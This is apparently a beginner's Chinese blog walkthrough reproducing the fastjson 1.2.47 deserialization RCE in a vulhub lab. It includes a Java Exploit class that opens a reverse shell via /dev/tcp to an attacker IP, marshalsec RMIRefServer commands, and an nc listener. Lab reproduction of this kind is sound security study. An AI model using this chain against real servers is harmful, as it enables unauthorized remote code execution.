复现fastjson的弱鸡之路

复现vulhub中的fastjson1.2.47-rce

fastjson介绍

内容介绍:fastjson在执行反序列化时加载数据class文件被注入,注入的数据被解析执行导致任意命令执行,利用该漏洞需要一条利用链才能实现。漏洞的根本原因还是Fastjson的autotype功能,此功能可以反序列化的时候人为指定精心设计的类,达成远程命令执行(网上),
自我理解:开关开启后,可实现rmi等协议的加载远程代码并解析后导致命令执行。底层原理可搜,并看具体利用链子,后面学习后有时间会更。

1. 在虚拟机ubuntu18上边装的docker环境

附下载地址:https://mirrors.tuna.tsinghua.edu.cn/ubuntu-releases/18.04.6/ubuntu-18.04.6-desktop-amd64.iso

2. vulhub里边有操作开启环境的命令

docker和docker-compose安装命令大概是:
sudo apt install docker.io; sudo apt install docker-compose;

3. 然后按照官方vulhub进入fastjson目录下的1.2.47-rce下启动docker。

访问开启靶场环境的界面:复现fastjson的弱鸡之路_第1张图片

4. 描述复现大致过程:

第一步:开启攻击机的web服务,自己是在本机开启web服务,当然也可以直接布置在自己的云服务器等。目的是:实现受害机去加载web服务中目录下的恶意文件Exploit.class。java文件内容如(实现反弹shell)下:编译后的class文件和java文件放到一起

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.x.x/6666 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

开启本地web服务用的是python的 :
复现fastjson的弱鸡之路_第2张图片

复现fastjson的弱鸡之路_第3张图片
第二步:开启rmi服务,下载的项目是marshalsec;地址:
https://codeload.github.com/mbechler/marshalsec/zip/refs/heads/master
下载完成后,在其目录下用maven打成jar包,命令如下:

mvn clean package -DskipTests

如果没有mvn命令去安装maven后并设置环境变量。
完成后开启marshalsec项目的rmi项目端口为6799:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.x.x:6969/#Exploit" 6799

第三步在攻击机上使用nc监听6666端口:

nc -lvvp 6666

第四步攻击受害机访问靶场地址并使用bp抓包后:
复现fastjson的弱鸡之路_第4张图片
放到repeater修改请求头为POST并加上格式为json并写入exp:
复现fastjson的弱鸡之路_第5张图片
攻击后发现攻击机反弹成功shell
复现fastjson的弱鸡之路_第6张图片
自此完成复现。

菜鸡复现,大佬勿喷,很多操作也是网上借鉴,如有侵权请联系

你可能感兴趣的:(漏洞复现,web安全,安全)